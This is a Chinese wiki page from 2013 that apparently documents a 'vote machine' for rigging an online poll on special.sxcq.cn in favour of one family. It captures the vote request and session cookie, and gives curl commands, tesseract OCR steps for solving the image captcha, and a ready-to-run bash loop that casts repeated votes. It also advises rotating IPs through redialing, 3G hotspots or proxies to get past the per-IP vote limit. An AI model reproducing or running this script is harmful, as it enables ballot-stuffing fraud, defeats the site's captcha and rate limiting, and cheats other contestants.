Simple Vote Machine
(以“== 缘起 == 支持何总尽孝 <br><br> == 原理 == 点击投票,发出的请求为: <pre> POST /plus/sxzj1.php?validate=8342&action=toupiao_array&arr_val...”为内容创建页面) |
(→原理) |
||
第20行: | 第20行: | ||
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0 | User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0 | ||
</pre> | </pre> | ||
+ | |||
+ | 8342 是图片验证码,arr_value=,58 对应 53 号家庭 | ||
2013年5月11日 (六) 02:17的版本
目录 |
1 缘起
支持何总尽孝
2 原理
点击投票,发出的请求为:
POST /plus/sxzj1.php?validate=8342&action=toupiao_array&arr_value=,58 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Connection: keep-alive Cookie: PHPSESSID=3046f4d0fa0f7aabd6f54f33bbd2b8f0; Hm_lvt_267f396665eb939d0abbe0a6ea6c0ee2=1368195799; Hm_lpvt_267f396665eb939d0abbe0a6ea6c0ee2=1368196726 Host: special.sxcq.cn Referer: http://special.sxcq.cn/plus/sxzj.php User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0
8342 是图片验证码,arr_value=,58 对应 53 号家庭
如下命令模拟:
curl -A 'Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0' -b /tmp/ck "http://special.sxcq.cn/plus/sxzj1.php?validate=$ID&action=toupiao_array&arr_value=,58" -e "http://special.sxcq.cn/plus/sxzj.php"
其中 /tmp/ck 文件为访问 http://special.sxcq.cn/plus/sxzj.php 获取的 Cookies,其中的关键是 PHPSESSID 这个值
$ID 为验证码
arr_value=,58 对应 53 号家庭
-e "http://special.sxcq.cn/plus/sxzj.php" 对应 Referer: http://special.sxcq.cn/plus/sxzj.php
因此关键是图片验证码的获取和识别,如下指令获取图片验证码:
curl -A 'Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0' -b /tmp/ck http://special.sxcq.cn/include/vdimgck.php >/tmp/x.jpg
其中 /tmp/ck 文件为访问 http://special.sxcq.cn/plus/sxzj.php 获取的 Cookies,所有的访问都用一个 PHPSESSID
使用 tesseract 来 OCR:
tesseract /tmp/x.jpg -l eng -psm 7 /tmp/a
识别后的字符写入 /tmp/a.txt
当然所有的工作,先要访问一下 http://special.sxcq.cn/plus/sxzj.php 获取的 Cookies,以便使用同一个 PHPSESSID
curl -A 'Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0' -D /tmp/ck http://special.sxcq.cn/plus/sxzj.php >/dev/null
3 可用的脚本
需要先安装 curl, bc 和 tesseract
Debian/Ubuntu 下可用如下命令安装:
$ apt-get install curl bc tesseract-ocr
#!/bin/bash UA="Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0" for ((i=0; i<15; i++)) do curl -A '$UA' -D /tmp/ck http://special.sxcq.cn/plus/sxzj.php >/dev/null ID=""; while [ -z $ID ] do curl -A '$UA' -b /tmp/ck http://special.sxcq.cn/include/vdimgck.php >/tmp/x.jpg # OCR tesseract /tmp/x.jpg -l eng -psm 7 /tmp/a ID=$(cat /tmp/a.txt | grep "^[0-9]\{4\}$") done #ID=$((ID-1)) ID=`echo $ID-1 | bc` curl -A '$UA' -b /tmp/ck "http://special.sxcq.cn/plus/sxzj1.php?validate=$ID&action=toupiao_array&arr_value=,58" -e "http://special.sxcq.cn/plus/sxzj.php" done
4 自动化
系统自动检测 IP,每个 IP 每 4小时只能投 10 票,因此一天最多投 24/4*10 = 60 票
要多投,就得不停换 IP,家里拨号的断开再连上 IP 就换了,就可以投。3G 手机做 WiFi 热点,笔记本 WiFi 连上,3G 断开连上 IP 也会换
还有就是不停换代理就行
距离 5月15日 18 时还有 4 天 15 小时,兄弟们加油吧